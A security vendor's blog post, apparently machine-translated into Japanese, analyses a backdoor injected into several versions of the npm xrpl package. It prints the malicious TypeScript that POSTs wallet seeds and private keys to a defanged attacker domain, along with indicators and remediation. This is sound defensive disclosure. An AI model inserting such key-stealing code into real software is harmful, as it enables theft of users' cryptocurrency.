Aikido

XRPサプライチェーン攻撃:NPMの公式パッケージが暗号を盗むバックドアに感染

チャーリー・エリクセン
チャーリー・エリクセン
|
#
#

4月21日20:53 GMT+0に、我々のシステムAikido Intelがxrplパッケージの5つの新しいパッケージ・バージョンについて警告を発しました。これはXRP Ledgerの公式SDKであり、週間ダウンロード数は140.000を超えています。私たちはすぐに、XPRL(Ripple)の公式NPMパッケージが、暗号通貨の秘密鍵を盗み、暗号通貨ウォレットにアクセスするためのバックドアを設置した巧妙な攻撃者によって侵害されていることを確認しました。このパッケージは何十万ものアプリケーションやウェブサイトで使用されており、暗号通貨エコシステムに対するサプライチェーン攻撃として壊滅的な被害をもたらす可能性があります。

これは、我々がどのように攻撃を発見したかについての技術的な内訳である。

npm の xrpl パッケージ

新パッケージ発売

ユーザー ムクルジャンギド は4月21日20:53 GMT+0から5つの新バージョンをリリースした:

悪意のあるパッケージ

興味深いのは、これらのバージョンがGitHubにある公式リリースと一致していないことだ。 4.2.0:

パッケージがリリースされた最新のGitHubリリース。

これらのパッケージが、GitHubに一致するリリースがないのに現れたという事実は、非常に疑わしい。

謎の暗号

我々のシステムはこれらの新しいパッケージの中に奇妙なコードを検出した。以下は src/index.ts ファイルのバージョン 4.2.4 (とタグ付けされている 最新):

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

最後まで普通に見える。これは何だ? チェック・ヴァリディティ・オフ・シード 関数を呼び出すのか?また、なぜ 0x9c[.]xyz?ウサギの穴に行こう

ドメインは何ですか?

私たちはまず、このドメインが正規のものであるかどうかを調べるために、そのドメインを調べました。Whoisの詳細を調べました:

0x9c[.]xyzのWhois情報

だからそれは良くない。真新しいドメインだ。非常に疑わしい。

コードは何をするのか?

コード自体はメソッドを定義しているだけで、そのメソッドへの直接的な呼び出しはない。そこで、このメソッドがどこかで使われているかどうかを調べてみた。そして、その通りだった!

悪意のある機能の検索結果

のコンストラクタのような関数で呼び出される。 財布 クラス(src/Wallet/index.ts)、Walletオブジェクトがインスタンス化されるとすぐに秘密鍵を盗む:

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

そして、これらの機能:

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

なぜこれほど多くのバージョンがあるのか?

これらのパッケージを調査したところ、最初にリリースされた2つのパッケージ(4.2.1 そして 4.2.2)は他とは異なっていた。私たちはバージョンについて3ウェイ差分を行った 4.2.0 (これは正当なことだ)、 4.2.1そして 4.2.2 何が起こっているのかを解明するために。観察した結果はこうだ:

  • からスタートする。 4.2.1その スクリプト そして プリティ からコンフィギュレーションが削除された。 package.json
  • に悪意のあるコードを挿入した最初のバージョン。 src/Wallet/index.js4.2.2.
  • 両方 4.2.1 そして 4.2.2 悪意のある build/xrp-latest-min.js そして build/xrp-latest.js.

比較すると 4.2.2 への 4.2.3 そして 4.2.4さらに悪質な変更が見られる。これまでは、パックされたJavaScriptコードだけが変更されていた。これらには、TypeScriptバージョンのコードに対する悪意のある変更も含まれている。

  • 先に示したコードは次のように変更される。 src/index.ts.
  • 悪意のあるコードの変更 src/Wallet/index.ts.
  • 悪意のあるコードが手作業でビルドされたファイルに挿入されたのではなく、バックドアがビルドされたファイルに挿入されたのだ。 index.ts と呼ばれる。 

このことから、攻撃者は積極的に攻撃に取り組んでおり、可能な限り隠れたままバックドアを挿入するさまざまな方法を試していたことがわかる。手動でビルドされたJavaScriptコードにバックドアを挿入することから、TypeScriptコードにバックドアを挿入し、ビルドされたバージョンにコンパイルすることまで。

Aikido インテル

このマルウェアは、Aikido Intelによって検出されました。Aikido Intelは、LLMを使用してNPMのようなパブリック・パッケージ・マネージャを監視し、新規または既存のパッケージに悪意のあるコードが追加されたときに識別する、Aikido公開脅威フィードです。マルウェアや未公開の脆弱性から保護されたい場合は、Intelの脅威フィードを購読するか、Aikido Securityに サインアップしてください。

妥協の指標 

あなたが危険にさらされているかどうかを判断するための指標を以下に示します:

パッケージ名

  • エックスアールピー

パッケージバージョン

チェック package.json そして パッケージロック.json これらのバージョンに対応する:

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

パッケージロックファイルで修正されていないパッケージを依存関係として持っているか、あるいは 近似/互換バージョン仕様 ような ~4.2.0 または ^4.2.0例として

4月21日20:53 GMT+0から4月22日13:00 GMT+0の間に上記のパッケージをインストールした可能性がある場合、以下のホストへの送信接続がないか、ネットワークログを調べてください:

ドメイン

  • 0x9c[.]xyz

修復

影響を受けたと思われる場合は、コードによって処理されたシード鍵や秘密鍵が漏洩したと考えることが重要です。それらの鍵はもはや使用すべきではなく、それらに関連する資産は直ちに別のウォレット/鍵に移すべきである。この問題が公表されて以来、xrplチームは侵害されたパッケージを上書きするための新しいバージョンを2つリリースした:

  • 4.2.5
  • 2.14.3

無料で安全を確保

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。